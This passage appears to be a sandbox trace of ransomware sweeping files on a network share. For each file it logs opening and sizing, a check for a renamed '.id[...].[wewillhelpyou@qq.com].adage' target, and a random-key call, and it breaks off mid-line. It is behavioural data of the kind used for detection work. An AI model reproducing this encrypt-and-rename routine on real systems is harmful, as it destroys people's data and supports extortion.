GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=44927) returned 1 [0040.531] CloseHandle (hObject=0x180) returned 1 [0040.531] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\b13UpS9k3v.swf" (normalized: "\\\\192.168.0.1\\documents\\b13ups9k3v.swf")) returned 0x80 [0040.531] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\b13UpS9k3v.swf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\b13ups9k3v.swf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.531] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\b13UpS9k3v.swf" (normalized: "\\\\192.168.0.1\\documents\\b13ups9k3v.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.547] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0040.547] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\p7Ha2r1u6wluhJ.pptx" (normalized: "\\\\192.168.0.1\\documents\\p7ha2r1u6wluhj.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.551] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=43828) returned 1 [0040.551] CloseHandle (hObject=0x180) returned 1 [0040.551] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\p7Ha2r1u6wluhJ.pptx" (normalized: "\\\\192.168.0.1\\documents\\p7ha2r1u6wluhj.pptx")) returned 0x80 [0040.552] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\p7Ha2r1u6wluhJ.pptx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\p7ha2r1u6wluhj.pptx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.552] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\p7Ha2r1u6wluhJ.pptx" (normalized: "\\\\192.168.0.1\\documents\\p7ha2r1u6wluhj.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.561] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0040.561] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\9lpH4LUvBOFfSshu6h.csv" (normalized: "\\\\192.168.0.1\\documents\\9lph4luvboffsshu6h.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.565] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=82126) returned 1 [0040.565] CloseHandle (hObject=0x180) returned 1 [0040.565] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\9lpH4LUvBOFfSshu6h.csv" (normalized: "\\\\192.168.0.1\\documents\\9lph4luvboffsshu6h.csv")) returned 0x80 [0040.565] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\9lpH4LUvBOFfSshu6h.csv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\9lph4luvboffsshu6h.csv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.565] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\9lpH4LUvBOFfSshu6h.csv" (normalized: "\\\\192.168.0.1\\documents\\9lph4luvboffsshu6h.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.574] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0040.574] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KLswtt0JPiPQkCC6R3Lm.m4a" (normalized: "\\\\192.168.0.1\\documents\\klswtt0jpipqkcc6r3lm.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.577] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=54061) returned 1 [0040.577] CloseHandle (hObject=0x180) returned 1 [0040.577] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KLswtt0JPiPQkCC6R3Lm.m4a" (normalized: "\\\\192.168.0.1\\documents\\klswtt0jpipqkcc6r3lm.m4a")) returned 0x80 [0040.578] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KLswtt0JPiPQkCC6R3Lm.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\klswtt0jpipqkcc6r3lm.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.578] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KLswtt0JPiPQkCC6R3Lm.m4a" (normalized: "\\\\192.168.0.1\\documents\\klswtt0jpipqkcc6r3lm.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.614] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0040.614] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\pQaKrG.pptx" (normalized: "\\\\192.168.0.1\\documents\\pqakrg.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0040.618] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=55074) returned 1 [0040.618] CloseHandle (hObject=0x14c) returned 1 [0040.619] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\pQaKrG.pptx" (normalized: "\\\\192.168.0.1\\documents\\pqakrg.pptx")) returned 0x80 [0040.619] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\pQaKrG.pptx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\pqakrg.pptx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.619] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\pQaKrG.pptx" (normalized: "\\\\192.168.0.1\\documents\\pqakrg.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.624] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0040.624] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EmJj9nJ.pptx" (normalized: "\\\\192.168.0.1\\documents\\emjj9nj.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0040.629] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=72581) returned 1 [0040.629] CloseHandle (hObject=0x14c) returned 1 [0040.629] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EmJj9nJ.pptx" (normalized: "\\\\192.168.0.1\\documents\\emjj9nj.pptx")) returned 0x80 [0040.630] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EmJj9nJ.pptx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\emjj9nj.pptx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.630] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EmJj9nJ.pptx" (normalized: "\\\\192.168.0.1\\documents\\emjj9nj.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.632] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0040.632] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\MwAvirxPiQV.swf" (normalized: "\\\\192.168.0.1\\documents\\mwavirxpiqv.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0040.635] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=28607) returned 1 [0040.635] CloseHandle (hObject=0x14c) returned 1 [0040.635] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\MwAvirxPiQV.swf" (normalized: "\\\\192.168.0.1\\documents\\mwavirxpiqv.swf")) returned 0x80 [0040.636] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\MwAvirxPiQV.swf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\mwavirxpiqv.swf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.636] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\MwAvirxPiQV.swf" (normalized: "\\\\192.168.0.1\\documents\\mwavirxpiqv.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.638] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0040.638] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\USKBVwnLaYIUmcn.mp4" (normalized: "\\\\192.168.0.1\\documents\\uskbvwnlayiumcn.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0040.641] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=86639) returned 1 [0040.641] CloseHandle (hObject=0x14c) returned 1 [0040.641] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\USKBVwnLaYIUmcn.mp4" (normalized: "\\\\192.168.0.1\\documents\\uskbvwnlayiumcn.mp4")) returned 0x80 [0040.641] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\USKBVwnLaYIUmcn.mp4.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\uskbvwnlayiumcn.mp4.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.641] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\USKBVwnLaYIUmcn.mp4" (normalized: "\\\\192.168.0.1\\documents\\uskbvwnlayiumcn.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.644] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0040.644] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\sl70jWmP2ggACy.png" (normalized: "\\\\192.168.0.1\\documents\\sl70jwmp2ggacy.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0040.649] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=40815) returned 1 [0040.649] CloseHandle (hObject=0x14c) returned 1 [0040.649] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\sl70jWmP2ggACy.png" (normalized: "\\\\192.168.0.1\\documents\\sl70jwmp2ggacy.png")) returned 0x80 [0040.650] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\sl70jWmP2ggACy.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\sl70jwmp2ggacy.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.650] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\sl70jWmP2ggACy.png" (normalized: "\\\\192.168.0.1\\documents\\sl70jwmp2ggacy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.653] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0040.653] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cdHLWs2KE.docx" (normalized: "\\\\192.168.0.1\\documents\\cdhlws2ke.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0040.656] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=26891) returned 1 [0040.656] CloseHandle (hObject=0x14c) returned 1 [0040.656] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cdHLWs2KE.docx" (normalized: "\\\\192.168.0.1\\documents\\cdhlws2ke.docx")) returned 0x80 [0040.656] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cdHLWs2KE.docx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\cdhlws2ke.docx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.657] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cdHLWs2KE.docx" (normalized: "\\\\192.168.0.1\\documents\\cdhlws2ke.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.659] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0040.659] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\P6tWitG0.ppt" (normalized: "\\\\192.168.0.1\\documents\\p6twitg0.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0040.662] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=64695) returned 1 [0040.662] CloseHandle (hObject=0x14c) returned 1 [0040.662] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\P6tWitG0.ppt" (normalized: "\\\\192.168.0.1\\documents\\p6twitg0.ppt")) returned 0x80 [0040.662] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\P6tWitG0.ppt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\p6twitg0.ppt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.662] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\P6tWitG0.ppt" (normalized: "\\\\192.168.0.1\\documents\\p6twitg0.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.665] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0040.665] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\X18sQ2pVfY.mp3" (normalized: "\\\\192.168.0.1\\documents\\x18sq2pvfy.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0040.697] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=79069) returned 1 [0040.697] CloseHandle (hObject=0x14c) returned 1 [0040.697] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\X18sQ2pVfY.mp3" (normalized: "\\\\192.168.0.1\\documents\\x18sq2pvfy.mp3")) returned 0x80 [0040.698] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\X18sQ2pVfY.mp3.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\x18sq2pvfy.mp3.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.699] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\X18sQ2pVfY.mp3" (normalized: "\\\\192.168.0.1\\documents\\x18sq2pvfy.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.812] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0040.812] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ow3Vle4.swf" (normalized: "\\\\192.168.0.1\\documents\\ow3vle4.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0040.820] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=85881) returned 1 [0040.820] CloseHandle (hObject=0x14c) returned 1 [0040.820] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ow3Vle4.swf" (normalized: "\\\\192.168.0.1\\documents\\ow3vle4.swf")) returned 0x80 [0040.821] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ow3Vle4.swf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ow3vle4.swf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.821] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ow3Vle4.swf" (normalized: "\\\\192.168.0.1\\documents\\ow3vle4.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.122] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0041.122] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\dPc6HLBDbx19XugtWM.jpg" (normalized: "\\\\192.168.0.1\\documents\\dpc6hlbdbx19xugtwm.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0041.152] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=91860) returned 1 [0041.152] CloseHandle (hObject=0x14c) returned 1 [0041.152] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\dPc6HLBDbx19XugtWM.jpg" (normalized: "\\\\192.168.0.1\\documents\\dpc6hlbdbx19xugtwm.jpg")) returned 0x80 [0041.153] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\dPc6HLBDbx19XugtWM.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\dpc6hlbdbx19xugtwm.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0041.153] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\dPc6HLBDbx19XugtWM.jpg" (normalized: "\\\\192.168.0.1\\documents\\dpc6hlbdbx19xugtwm.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.190] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0041.190] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3QVfoNUquygvYJYnxL.m4a" (normalized: "\\\\192.168.0.1\\documents\\3qvfonuquygvyjynxl.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0041.195] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=34621) returned 1 [0041.195] CloseHandle (hObject=0x14c) returned 1 [0041.195] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3QVfoNUquygvYJYnxL.m4a" (normalized: "\\\\192.168.0.1\\documents\\3qvfonuquygvyjynxl.m4a")) returned 0x80 [0041.196] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3QVfoNUquygvYJYnxL.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\3qvfonuquygvyjynxl.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0041.196] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3QVfoNUquygvYJYnxL.m4a" (normalized: "\\\\192.168.0.1\\documents\\3qvfonuquygvyjynxl.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.255] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0041.255] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\xxTfgN.jpg" (normalized: "\\\\192.168.0.1\\documents\\xxtfgn.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0041.269] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=93088) returned 1 [0041.269] CloseHandle (hObject=0x14c) returned 1 [0041.269] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\xxTfgN.jpg" (normalized: "\\\\192.168.0.1\\documents\\xxtfgn.jpg")) returned 0x80 [0041.269] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\xxTfgN.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\xxtfgn.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0041.269] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\xxTfgN.jpg" (normalized: "\\\\192.168.0.1\\documents\\xxtfgn.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.301] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0041.301] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\IBowTJ.csv" (normalized: "\\\\192.168.0.1\\documents\\ibowtj.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0041.304] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=73082) returned 1 [0041.304] CloseHandle (hObject=0x14c) returned 1 [0041.304] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\IBowTJ.csv" (normalized: "\\\\192.168.0.1\\documents\\ibowtj.csv")) returned 0x80 [0041.310] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\IBowTJ.csv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ibowtj.csv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0041.310] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\IBowTJ.csv" (normalized: "\\\\192.168.0.1\\documents\\ibowtj.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.440] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0041.440] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2cHgIoncB.wav" (normalized: "\\\\192.168.0.1\\documents\\2chgioncb.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0041.574] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=53946) returned 1 [0041.574] CloseHandle (hObject=0x14c) returned 1 [0041.574] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2cHgIoncB.wav" (normalized: "\\\\192.168.0.1\\documents\\2chgioncb.wav")) returned 0x80 [0041.575] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2cHgIoncB.wav.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\2chgioncb.wav.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0041.575] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2cHgIoncB.wav" (normalized: "\\\\192.168.0.1\\documents\\2chgioncb.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.579] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0041.579] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\8AEDnDa.avi" (normalized: "\\\\192.168.0.1\\documents\\8aednda.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0041.682] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=85126) returned 